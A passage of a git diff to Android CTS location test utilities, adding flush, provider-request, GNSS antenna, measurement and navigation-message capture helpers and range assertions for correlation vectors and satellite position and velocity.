@@ -29,11 +28,13 @@
 
     private final LocationManager mLocationManager;
     private final LinkedBlockingQueue<Location> mLocations;
+    private final LinkedBlockingQueue<Integer> mFlushes;
     private final LinkedBlockingQueue<Boolean> mProviderChanges;
 
     public LocationListenerCapture(Context context) {
         mLocationManager = context.getSystemService(LocationManager.class);
         mLocations = new LinkedBlockingQueue<>();
+        mFlushes = new LinkedBlockingQueue<>();
         mProviderChanges = new LinkedBlockingQueue<>();
     }
 
@@ -41,6 +42,10 @@
         return mLocations.poll(timeoutMs, TimeUnit.MILLISECONDS);
     }
 
+    public Integer getNextFlush(long timeoutMs) throws InterruptedException {
+        return mFlushes.poll(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+
     public Boolean getNextProviderChange(long timeoutMs) throws InterruptedException {
         return mProviderChanges.poll(timeoutMs, TimeUnit.MILLISECONDS);
     }
@@ -51,7 +56,8 @@
     }
 
     @Override
-    public void onStatusChanged(String provider, int status, Bundle extras) {
+    public void onFlushComplete(int requestCode) {
+        mFlushes.add(requestCode);
     }
 
     @Override
diff --git a/tests/location/common/src/android/location/cts/common/LocationPendingIntentCapture.java b/tests/location/common/src/android/location/cts/common/LocationPendingIntentCapture.java
index 9dc2d4a..32db14c 100644
--- a/tests/location/common/src/android/location/cts/common/LocationPendingIntentCapture.java
+++ b/tests/location/common/src/android/location/cts/common/LocationPendingIntentCapture.java
@@ -16,18 +16,19 @@
 
 package android.location.cts.common;
 
+import static android.location.LocationManager.KEY_FLUSH_COMPLETE;
 import static android.location.LocationManager.KEY_LOCATION_CHANGED;
 import static android.location.LocationManager.KEY_PROVIDER_ENABLED;
 
 import android.app.PendingIntent;
-import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
-import android.content.IntentFilter;
 import android.location.Location;
 import android.location.LocationManager;
 import android.os.Looper;
 
+import com.google.common.base.Preconditions;
+
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicInteger;
@@ -40,6 +41,7 @@
     private final LocationManager mLocationManager;
     private final PendingIntent mPendingIntent;
     private final LinkedBlockingQueue<Location> mLocations;
+    private final LinkedBlockingQueue<Integer> mFlushes;
     private final LinkedBlockingQueue<Boolean> mProviderChanges;
 
     public LocationPendingIntentCapture(Context context) {
@@ -50,8 +52,9 @@
                 new Intent(ACTION)
                         .setPackage(context.getPackageName())
                         .addFlags(Intent.FLAG_RECEIVER_FOREGROUND),
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE);
         mLocations = new LinkedBlockingQueue<>();
+        mFlushes = new LinkedBlockingQueue<>();
         mProviderChanges = new LinkedBlockingQueue<>();
 
         register(ACTION);
@@ -69,6 +72,14 @@
         return mLocations.poll(timeoutMs, TimeUnit.MILLISECONDS);
     }
 
+    public Integer getNextFlush(long timeoutMs) throws InterruptedException {
+        if (Looper.myLooper() == Looper.getMainLooper()) {
+            throw new AssertionError("getNextFlush() called from main thread");
+        }
+
+        return mFlushes.poll(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+
     public Boolean getNextProviderChange(long timeoutMs) throws InterruptedException {
         if (Looper.myLooper() == Looper.getMainLooper()) {
             throw new AssertionError("getNextProviderChange() called from main thread");
@@ -91,6 +102,10 @@
             mProviderChanges.add(intent.getBooleanExtra(KEY_PROVIDER_ENABLED, false));
         } else if (intent.hasExtra(KEY_LOCATION_CHANGED)) {
             mLocations.add(intent.getParcelableExtra(KEY_LOCATION_CHANGED));
+        } else if (intent.hasExtra(KEY_FLUSH_COMPLETE)) {
+            int requestCode = intent.getIntExtra(KEY_FLUSH_COMPLETE, Integer.MIN_VALUE);
+            Preconditions.checkArgument(requestCode != Integer.MIN_VALUE);
+            mFlushes.add(requestCode);
         }
     }
 }
\ No newline at end of file
diff --git a/tests/location/common/src/android/location/cts/common/ProviderRequestChangedListenerCapture.java b/tests/location/common/src/android/location/cts/common/ProviderRequestChangedListenerCapture.java
new file mode 100644
index 0000000..65797a2
--- /dev/null
+++ b/tests/location/common/src/android/location/cts/common/ProviderRequestChangedListenerCapture.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.common;
+
+import android.content.Context;
+import android.location.LocationManager;
+import android.location.provider.ProviderRequest;
+import android.util.Pair;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * A {@link ProviderRequest.ChangedListener} that automatically unregisters itself
+ * when closed.
+ */
+public class ProviderRequestChangedListenerCapture implements
+        ProviderRequest.ChangedListener, AutoCloseable {
+    private final LocationManager mLocationManager;
+    private final LinkedBlockingQueue<Pair<String, ProviderRequest>> mProviderRequestChanges;
+
+    public ProviderRequestChangedListenerCapture(Context context) {
+        mLocationManager = context.getSystemService(LocationManager.class);
+        mProviderRequestChanges = new LinkedBlockingQueue<>();
+    }
+
+    public Pair<String, ProviderRequest> getNextProviderRequest(long timeoutMs)
+            throws InterruptedException {
+        return mProviderRequestChanges.poll(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+
+    @Override
+    public void onProviderRequestChanged(String provider, ProviderRequest request) {
+        mProviderRequestChanges.add(new Pair<>(provider, request));
+    }
+
+    @Override
+    public void close() throws Exception {
+        mLocationManager.removeProviderRequestChangedListener(this);
+    }
+}
diff --git a/tests/location/common/src/android/location/cts/common/ProximityPendingIntentCapture.java b/tests/location/common/src/android/location/cts/common/ProximityPendingIntentCapture.java
index 75e4e39..f1c37cb 100644
--- a/tests/location/common/src/android/location/cts/common/ProximityPendingIntentCapture.java
+++ b/tests/location/common/src/android/location/cts/common/ProximityPendingIntentCapture.java
@@ -3,10 +3,8 @@
 import static android.location.LocationManager.KEY_PROXIMITY_ENTERING;
 
 import android.app.PendingIntent;
-import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
-import android.content.IntentFilter;
 import android.location.LocationManager;
 import android.os.Looper;
 
@@ -28,8 +26,10 @@
 
         mLocationManager = context.getSystemService(LocationManager.class);
         mPendingIntent = PendingIntent.getBroadcast(context, sRequestCode.getAndIncrement(),
-                new Intent(ACTION).setPackage(context.getPackageName()),
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                new Intent(ACTION)
+                        .setPackage(context.getPackageName())
+                        .addFlags(Intent.FLAG_RECEIVER_FOREGROUND),
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE);
         mProximityChanges = new LinkedBlockingQueue<>();
 
         register(ACTION);
diff --git a/tests/location/common/src/android/location/cts/common/TestGnssMeasurementListener.java b/tests/location/common/src/android/location/cts/common/TestGnssMeasurementListener.java
index 3f309f9..1caea13 100644
--- a/tests/location/common/src/android/location/cts/common/TestGnssMeasurementListener.java
+++ b/tests/location/common/src/android/location/cts/common/TestGnssMeasurementListener.java
@@ -39,13 +39,16 @@
     // Timeout in sec for count down latch wait
     private static final int STATUS_TIMEOUT_IN_SEC = 10;
     private static final int MEAS_TIMEOUT_IN_SEC = 75;
+    private static final int BIAS_UNCERTAINTY_TIMEOUT_IN_SEC = 10;
     private static final int C_TO_N0_THRESHOLD_DB_HZ = 18;
+    private static final double BIAS_UNCERTAINTY_THRESHOLD_NANOS = 1e6; // 1 millisecond
     private volatile int mStatus = -1;
 
     private final String mTag;
     private final List<GnssMeasurementsEvent> mMeasurementsEvents;
     private final CountDownLatch mCountDownLatch;
     private final CountDownLatch mCountDownLatchStatus;
+    private final CountDownLatch mCountDownLatchBiasUncertainty;
 
     /**
     * Constructor for TestGnssMeasurementListener
@@ -74,6 +77,7 @@
         mTag = tag;
         mCountDownLatch = new CountDownLatch(eventsToCollect);
         mCountDownLatchStatus = new CountDownLatch(1);
+        mCountDownLatchBiasUncertainty = new CountDownLatch(1);
         mMeasurementsEvents = new ArrayList<>(eventsToCollect);
         this.filterByEventSize = filterByEventSize;
     }
@@ -121,6 +125,12 @@
                 }
                 mCountDownLatch.countDown();
             }
+            GnssClock gnssClock = event.getClock();
+            if (gnssClock.hasBiasUncertaintyNanos()) {
+                if (gnssClock.getBiasUncertaintyNanos() < BIAS_UNCERTAINTY_THRESHOLD_NANOS) {
+                    mCountDownLatchBiasUncertainty.countDown();
+                }
+            }
         }
     }
 
@@ -138,6 +148,12 @@
         return TestUtils.waitFor(mCountDownLatch, MEAS_TIMEOUT_IN_SEC);
     }
 
+    /**
+     * Wait until {@link GnssClock#getBiasUncertaintyNanos()} ()} becomes small enough.
+     */
+    public boolean awaitSmallBiasUncertainty() throws InterruptedException {
+        return TestUtils.waitFor(mCountDownLatchBiasUncertainty, BIAS_UNCERTAINTY_TIMEOUT_IN_SEC);
+    }
 
     /**
      * @return {@code true} if the state of the test ensures that data is expected to be collected,
diff --git a/tests/location/common/src/android/location/cts/common/TestLocationListener.java b/tests/location/common/src/android/location/cts/common/TestLocationListener.java
index 7075e45..dfb6864 100644
--- a/tests/location/common/src/android/location/cts/common/TestLocationListener.java
+++ b/tests/location/common/src/android/location/cts/common/TestLocationListener.java
@@ -34,8 +34,8 @@
 
     // Timeout in sec for count down latch wait
     private static final int TIMEOUT_IN_SEC = 120;
-    private final CountDownLatch mCountDownLatch;
-    private ConcurrentLinkedQueue<Location> mLocationList = null;
+    private CountDownLatch mCountDownLatch;
+    private final ConcurrentLinkedQueue<Location> mLocationList;
 
     public TestLocationListener(int locationToCollect) {
         mCountDownLatch = new CountDownLatch(locationToCollect);
@@ -43,12 +43,18 @@
     }
 
     @Override
-    public void onLocationChanged(Location location) {
+    public synchronized void onLocationChanged(Location location) {
         mLocationReceived = true;
         mLocationList.add(location);
         mCountDownLatch.countDown();
     }
 
+    /** Clears the received locations in {@link #mLocationList} */
+    public synchronized void clearReceivedLocationsAndResetCounter(int locationToCollect) {
+        mLocationList.clear();
+        mCountDownLatch = new CountDownLatch(locationToCollect);
+    }
+
     @Override
     public void onStatusChanged(String s, int i, Bundle bundle) {
     }
diff --git a/tests/location/common/src/android/location/cts/common/TestLocationManager.java b/tests/location/common/src/android/location/cts/common/TestLocationManager.java
index bed3793..581a107 100644
--- a/tests/location/common/src/android/location/cts/common/TestLocationManager.java
+++ b/tests/location/common/src/android/location/cts/common/TestLocationManager.java
@@ -17,6 +17,7 @@
 package android.location.cts.common;
 
 import android.content.Context;
+import android.location.GnssMeasurementRequest;
 import android.location.GnssMeasurementsEvent;
 import android.location.GnssNavigationMessage;
 import android.location.GnssRequest;
@@ -109,6 +110,24 @@
     }
 
     /**
+     * See {@link android.location.LocationManager#registerGnssMeasurementsCallback
+     * (GnssMeasurementsEvent.Callback callback)}
+     *
+     * @param callback the listener to add
+     */
+    public void registerGnssMeasurementCallback(GnssMeasurementsEvent.Callback callback,
+            GnssMeasurementRequest request) {
+        Log.i(TAG, "Add Gnss Measurement Callback. enableFullTracking=" + request);
+        boolean measurementListenerAdded =
+                mLocationManager.registerGnssMeasurementsCallback(request, Runnable::run, callback);
+        if (!measurementListenerAdded) {
+            // Registration of GnssMeasurements listener has failed, this indicates a platform bug.
+            Log.i(TAG, TestMeasurementUtil.REGISTRATION_ERROR_MESSAGE);
+            Assert.fail(TestMeasurementUtil.REGISTRATION_ERROR_MESSAGE);
+        }
+    }
+
+    /**
      * Request GNSS location updates with {@code LocationRequest#setLowPowerMode()} enabled.
      *
      * See {@code LocationManager#requestLocationUpdates}.
@@ -117,15 +136,13 @@
      */
     public void requestLowPowerModeGnssLocationUpdates(int minTimeMillis,
             LocationListener locationListener) {
-        LocationRequest request = LocationRequest.createFromDeprecatedProvider(
-                LocationManager.GPS_PROVIDER, /* minTime= */ minTimeMillis, /* minDistance= */0,
-                false);
-        request.setLowPowerMode(true);
         if (mLocationManager.getProvider(LocationManager.GPS_PROVIDER) != null) {
             Log.i(TAG, "Request Location updates.");
-            mLocationManager.requestLocationUpdates(request,
-                    locationListener,
-                    Looper.getMainLooper());
+            mLocationManager.requestLocationUpdates(
+                    LocationManager.GPS_PROVIDER,
+                    new LocationRequest.Builder(minTimeMillis).setLowPower(true).build(),
+                    mContext.getMainExecutor(),
+                    locationListener);
         }
     }
 
diff --git a/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java b/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java
index afb5785..59786a3 100644
--- a/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java
+++ b/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java
@@ -16,20 +16,23 @@
 
 package android.location.cts.common;
 
+import static org.junit.Assert.assertNotNull;
+
 import android.content.Context;
 import android.content.pm.PackageManager;
+import android.location.CorrelationVector;
 import android.location.GnssClock;
 import android.location.GnssMeasurement;
 import android.location.GnssMeasurementsEvent;
 import android.location.GnssNavigationMessage;
 import android.location.GnssStatus;
 import android.location.LocationManager;
+import android.location.SatellitePvt;
 import android.util.Log;
 
-import com.android.compatibility.common.util.ApiLevelUtil;
-
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collection;
 import java.util.HashMap;
 import java.util.HashSet;
 import java.util.List;
@@ -89,31 +92,18 @@
     /**
      * Check if test can be run on the current device.
      *
-     * @param  androidSdkVersionCode must be from {@link android.os.Build.VERSION_CODES}
      * @param  testLocationManager TestLocationManager
      * @return true if Build.VERSION &gt;= {@code androidSdkVersionCode} and Location GPS present on
      *         device.
      */
-    public static boolean canTestRunOnCurrentDevice(int androidSdkVersionCode,
-            TestLocationManager testLocationManager,
+    public static boolean canTestRunOnCurrentDevice(TestLocationManager testLocationManager,
             String testTag) {
-        if (ApiLevelUtil.isBefore(androidSdkVersionCode)) {
-            Log.i(testTag, "This test is designed to work on API level " +
-                    androidSdkVersionCode + " or newer. " +
-                    "Test is being skipped because the platform version is being run in " +
-                    ApiLevelUtil.getApiLevel());
-            return false;
-        }
-
         // If device does not have a GPS, skip the test.
         if (!TestUtils.deviceHasGpsFeature(testLocationManager.getContext())) {
+            Log.i(TAG, "Skip the test since GPS is not supported on the device.");
             return false;
         }
 
-        // If device has a GPS, but it's turned off in settings, and this is CTS verifier,
-        // fail the test now, because there's no point in going further.
-        // If this is CTS only,we'll warn instead, and quickly pass the test.
-        // (Cts non-verifier deep-indoors-forgiveness happens later, *if* needed)
         boolean gpsProviderEnabled = testLocationManager.getLocationManager()
                 .isProviderEnabled(LocationManager.GPS_PROVIDER);
         SoftAssert.failOrWarning(true, " GPS location disabled on the device. "
@@ -314,7 +304,98 @@
                 measurement.getAutomaticGainControlLevelDb() >= -100
                     && measurement.getAutomaticGainControlLevelDb() <= 100);
         }
+    }
 
+    /**
+     * Assert all SystemApi fields in Gnss Measurement are in expected range.
+     *
+     * @param testLocationManager TestLocationManager
+     * @param measurement GnssMeasurement
+     * @param softAssert  custom SoftAssert
+     * @param timeInNs    event time in ns
+     * @param requireCorrVec assert correlation vectors outputs
+     * @param requireSatPvt  assert satellite PVT outputs
+     */
+    public static void assertAllGnssMeasurementSystemFields(
+        TestLocationManager testLocationManager, GnssMeasurement measurement,
+        SoftAssert softAssert, long timeInNs, boolean requireCorrVec, boolean requireSatPvt) {
+
+        if (requireCorrVec) {
+            softAssert.assertTrue("GnssMeasurement must has correlation vectors",
+                timeInNs,
+                "measurement.hasCorrelationVectors() == true",
+                String.valueOf(measurement.hasCorrelationVectors()),
+                measurement.hasCorrelationVectors());
+        }
+        if (measurement.hasCorrelationVectors()) {
+            verifyCorrelationVectors(measurement, softAssert, timeInNs);
+        }
+
+        if (requireSatPvt) {
+            softAssert.assertTrue("GnssMeasurement must has satellite PVT",
+                timeInNs,
+                "measurement.hasSatellitePvt() == true",
+                String.valueOf(measurement.hasSatellitePvt()),
+                measurement.hasSatellitePvt());
+        }
+        if (measurement.hasSatellitePvt()) {
+            verifySatellitePvt(measurement, softAssert, timeInNs);
+        }
+    }
+
+    /**
+     * Verify correlation vectors are in expected range.
+     *
+     * @param measurement GnssMeasurement
+     * @param softAssert  custom SoftAssert
+     * @param timeInNs    event time in ns
+     */
+    private static void verifyCorrelationVectors(GnssMeasurement measurement,
+        SoftAssert softAssert, long timeInNs) {
+        Collection<CorrelationVector> correlationVectors =
+                measurement.getCorrelationVectors();
+        assertNotNull("CorrelationVectors cannot be null.", correlationVectors);
+        softAssert.assertTrue("CorrelationVectors count",
+                timeInNs,
+                "X > 0",
+                String.valueOf(correlationVectors.size()),
+                correlationVectors.size() > 0);
+        for (CorrelationVector correlationVector : correlationVectors) {
+            assertNotNull("CorrelationVector cannot be null.", correlationVector);
+            int[] magnitude = correlationVector.getMagnitude();
+            softAssert.assertTrue("frequency_offset_mps : "
+                    + "Frequency offset from reported pseudorange rate "
+                    + "for this CorrelationVector",
+                    timeInNs,
+                    "X >= 0.0",
+                    String.valueOf(correlationVector.getFrequencyOffsetMetersPerSecond()),
+                    correlationVector.getFrequencyOffsetMetersPerSecond() >= 0.0);
+            softAssert.assertTrue("sampling_width_m : "
+                    + "The space between correlation samples in meters",
+                    timeInNs,
+                    "X > 0.0",
+                    String.valueOf(correlationVector.getSamplingWidthMeters()),
+                    correlationVector.getSamplingWidthMeters() > 0.0);
+            softAssert.assertTrue("frequency_offset_mps : "
+                    + "Offset of the first sampling bin in meters",
+                    timeInNs,
+                    "X >= 0.0",
+                    String.valueOf(correlationVector.getSamplingStartMeters()),
+                    correlationVector.getSamplingStartMeters() >= 0.0);
+            softAssert.assertTrue("Magnitude count",
+                    timeInNs,
+                    "X > 0",
+                    String.valueOf(magnitude.length),
+                magnitude.length > 0);
+            for (int value : magnitude) {
+                softAssert.assertTrue("magnitude : Data representing normalized "
+                        + "correlation magnitude values",
+                        timeInNs,
+                        "-32768 <= X < 32767",
+                        String.valueOf(value),
+                        value >= -32768 && value < 32767);
+            }
+        }
     }
 
     /**
@@ -892,4 +973,71 @@
         }
         return GnssBand.GNSS_L1; // default to L1 band
     }
+
+    /**
+     * Assert most of the fields in Satellite PVT are in expected range.
+     *
+     * @param measurement GnssMeasurement
+     * @param softAssert  custom SoftAssert
+     * @param timeInNs    event time in ns
+     */
+    private static void verifySatellitePvt(GnssMeasurement measurement,
+        SoftAssert softAssert, long timeInNs) {
+        SatellitePvt satellitePvt = measurement.getSatellitePvt();
+        assertNotNull("SatellitePvt cannot be null when HAS_SATELLITE_PVT is true.", satellitePvt);
+        softAssert.assertTrue("x_meters : "
+                + "Satellite position X in WGS84 ECEF (meters)",
+                timeInNs,
+                "-43000000 <= X <= 43000000",
+                String.valueOf(satellitePvt.getPositionEcef().getXMeters()),
+                satellitePvt.getPositionEcef().getXMeters() >= -43000000 &&
+                    satellitePvt.getPositionEcef().getXMeters() <= 43000000);
+        softAssert.assertTrue("y_meters : "
+                + "Satellite position Y in WGS84 ECEF (meters)",
+                timeInNs,
+                "-43000000 <= X <= 43000000",
+                String.valueOf(satellitePvt.getPositionEcef().getYMeters()),
+                satellitePvt.getPositionEcef().getYMeters() >= -43000000 &&
+                    satellitePvt.getPositionEcef().getYMeters() <= 43000000);
+        softAssert.assertTrue("z_meters : "
+                + "Satellite position Z in WGS84 ECEF (meters)",
+                timeInNs,
+                "-43000000 <= X <= 43000000",
+                String.valueOf(satellitePvt.getPositionEcef().getZMeters()),
+                satellitePvt.getPositionEcef().getZMeters() >= -43000000 &&
+                    satellitePvt.getPositionEcef().getZMeters() <= 43000000);
+        softAssert.assertTrue("ure_meters : "
+                + "The Signal in Space User Range Error (URE) (meters)",
+                timeInNs,
+                "X > 0",
+                String.valueOf(satellitePvt.getPositionEcef().getUreMeters()),
+                satellitePvt.getPositionEcef().getUreMeters() > 0);
+        softAssert.assertTrue("x_mps : "
+                + "Satellite velocity X in WGS84 ECEF (meters per second)",
+                timeInNs,
+                "-4000 <= X <= 4000",
+                String.valueOf(satellitePvt.getVelocityEcef().getXMetersPerSecond()),
+                satellitePvt.getVelocityEcef().getXMetersPerSecond() >= -4000 &&
+                    satellitePvt.getVelocityEcef().getXMetersPerSecond() <= 4000);
+        softAssert.assertTrue("y_mps : "
+                + "Satellite velocity Y in WGS84 ECEF (meters per second)",
+                timeInNs,
+                "-4000 <= X <= 4000",
+                String.valueOf(satellitePvt.getVelocityEcef().getYMetersPerSecond()),
+                satellitePvt.getVelocityEcef().getYMetersPerSecond() >= -4000 &&
+                    satellitePvt.getVelocityEcef().getYMetersPerSecond() <= 4000);
+        softAssert.assertTrue("z_mps : "
+                + "Satellite velocity Z in WGS84 ECEF (meters per second)",
+                timeInNs,
+                "-4000 <= X <= 4000",
+                String.valueOf(satellitePvt.getVelocityEcef().getZMetersPerSecond()),
+                satellitePvt.getVelocityEcef().getZMetersPerSecond() >= -4000 &&
+                    satellitePvt.getVelocityEcef().getZMetersPerSecond() <= 4000);
+        softAssert.assertTrue("ure_rate_mps : "
+                + "The Signal in Space User Range Error Rate (URE Rate) (meters per second)",
+                timeInNs,
+                "X > 0",
+                String.valueOf(satellitePvt.getVelocityEcef().getUreRateMetersPerSecond()),
+                satellitePvt.getVelocityEcef().getUreRateMetersPerSecond() > 0);
+    }
 }
diff --git a/tests/location/common/src/android/location/cts/common/gnss/GnssAntennaInfoCapture.java b/tests/location/common/src/android/location/cts/common/gnss/GnssAntennaInfoCapture.java
new file mode 100644
index 0000000..484f67c
--- /dev/null
+++ b/tests/location/common/src/android/location/cts/common/gnss/GnssAntennaInfoCapture.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.common.gnss;
+
+import android.content.Context;
+import android.location.GnssAntennaInfo;
+import android.location.Location;
+import android.location.LocationListener;
+import android.location.LocationManager;
+
+import androidx.annotation.NonNull;
+
+import java.util.List;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class GnssAntennaInfoCapture implements GnssAntennaInfo.Listener, AutoCloseable {
+
+    private final LocationManager mLocationManager;
+    private final LinkedBlockingQueue<List<GnssAntennaInfo>> mAntennaInfo;
+
+    public GnssAntennaInfoCapture(Context context) {
+        mLocationManager = context.getSystemService(LocationManager.class);
+        mAntennaInfo = new LinkedBlockingQueue<>();
+    }
+
+    public List<GnssAntennaInfo> getNextAntennaInfo(long timeoutMs) throws InterruptedException {
+        return mAntennaInfo.poll(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+
+    @Override
+    public void onGnssAntennaInfoReceived(List<GnssAntennaInfo> gnssAntennaInfos) {
+        mAntennaInfo.add(gnssAntennaInfos);
+    }
+
+    @Override
+    public void close() {
+        mLocationManager.unregisterAntennaInfoListener(this);
+    }
+}
\ No newline at end of file
diff --git a/tests/location/common/src/android/location/cts/common/gnss/GnssMeasurementsCapture.java b/tests/location/common/src/android/location/cts/common/gnss/GnssMeasurementsCapture.java
new file mode 100644
index 0000000..bc3c717
--- /dev/null
+++ b/tests/location/common/src/android/location/cts/common/gnss/GnssMeasurementsCapture.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.common.gnss;
+
+import android.content.Context;
+import android.location.GnssMeasurementsEvent;
+import android.location.LocationManager;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class GnssMeasurementsCapture extends GnssMeasurementsEvent.Callback implements AutoCloseable {
+
+    private final LocationManager mLocationManager;
+    private final LinkedBlockingQueue<GnssMeasurementsEvent> mMeasurements;
+    private final LinkedBlockingQueue<Integer> mStatuses;
+
+    public GnssMeasurementsCapture(Context context) {
+        mLocationManager = context.getSystemService(LocationManager.class);
+        mMeasurements = new LinkedBlockingQueue<>();
+        mStatuses = new LinkedBlockingQueue<>();
+    }
+
+    public GnssMeasurementsEvent getNextMeasurements(long timeoutMs) throws InterruptedException {
+        return mMeasurements.poll(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+
+    public Integer getNextStatus(long timeoutMs) throws InterruptedException {
+        return mStatuses.poll(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+
+    @Override
+    public void onGnssMeasurementsReceived(GnssMeasurementsEvent event) {
+        mMeasurements.add(event);
+    }
+
+    @Override
+    public void onStatusChanged(int status) {
+        mStatuses.add(status);
+    }
+
+    @Override
+    public void close() {
+        mLocationManager.unregisterGnssMeasurementsCallback(this);
+    }
+}
\ No newline at end of file
diff --git a/tests/location/common/src/android/location/cts/common/gnss/GnssNavigationMessageCapture.java b/tests/location/common/src/android/location/cts/common/gnss/GnssNavigationMessageCapture.java
new file mode 100644
index 0000000..3051170
--- /dev/null
+++ b/tests/location/common/src/android/location/cts/common/gnss/GnssNavigationMessageCapture.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.common.gnss;
+
+import android.content.Context;
+import android.location.GnssNavigationMessage;
+import android.location.LocationManager;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class GnssNavigationMessageCapture extends GnssNavigationMessage.Callback implements AutoCloseable {
+
+    private final LocationManager mLocationManager;
+    private final LinkedBlockingQueue<GnssNavigationMessage> mNavigationMessages;
+    private final LinkedBlockingQueue<Integer> mStatuses;
+
+    public GnssNavigationMessageCapture(Context context) {
+        mLocationManager = context.getSystemService(LocationManager.class);
+        mNavigationMessages = new LinkedBlockingQueue<>();
+        mStatuses = new LinkedBlockingQueue<>();
+    }
+
+    public GnssNavigationMessage getNextNavigationMessage(long timeoutMs) throws InterruptedException {
+        return mNavigationMessages.poll(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+
+    public Integer getNextStatus(long timeoutMs) throws InterruptedException {
+        return mStatuses.poll(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+
+    public void onGnssNavigationMessageReceived(GnssNavigationMessage message) {
+        mNavigationMessages.add(message);
+    }
+
+    @Override
+    public void onStatusChanged(int status) {
+        mStatuses.add(status);
+    }
+
+    @Override
+    public void close() {
+        mLocationManager.unregisterGnssNavigationMessageCallback(this);
+    }
+}
\ No newline at end of file
diff --git a/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java b/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java
index 05b80b9..05b7557 100644
--- a/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java
+++ b/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java
@@ -16,14 +16,19 @@
 
 package android.location.cts.coarse;
 
+import static android.location.LocationManager.FUSED_PROVIDER;
 import static android.location.LocationManager.GPS_PROVIDER;
 import static android.location.LocationManager.NETWORK_PROVIDER;
 import static android.location.LocationManager.PASSIVE_PROVIDER;
+import static android.location.LocationRequest.PASSIVE_INTERVAL;
+import static android.provider.Settings.Secure.LOCATION_COARSE_ACCURACY_M;
 
 import static androidx.test.ext.truth.location.LocationSubject.assertThat;
 
 import static com.android.compatibility.common.util.LocationUtils.createLocation;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
@@ -36,11 +41,15 @@
 import android.location.Criteria;
 import android.location.Location;
 import android.location.LocationManager;
+import android.location.LocationRequest;
 import android.location.cts.common.LocationListenerCapture;
 import android.location.cts.common.LocationPendingIntentCapture;
+import android.location.cts.common.ProximityPendingIntentCapture;
+import android.os.Build;
 import android.os.Bundle;
 import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
+import android.provider.Settings;
 import android.util.Log;
 
 import androidx.test.core.app.ApplicationProvider;
@@ -56,7 +65,6 @@
 
 import java.util.List;
 import java.util.Random;
-import java.util.concurrent.Executor;
 
 @RunWith(AndroidJUnit4.class)
 public class LocationManagerCoarseTest {
@@ -65,8 +73,7 @@
 
     private static final long TIMEOUT_MS = 5000;
 
-    // 2000m is the default grid size used by location fudger
-    private static final float MAX_COARSE_FUDGE_DISTANCE_M = 2500f;
+    private static final float MIN_COARSE_FUDGE_DISTANCE_M = 2000f;
 
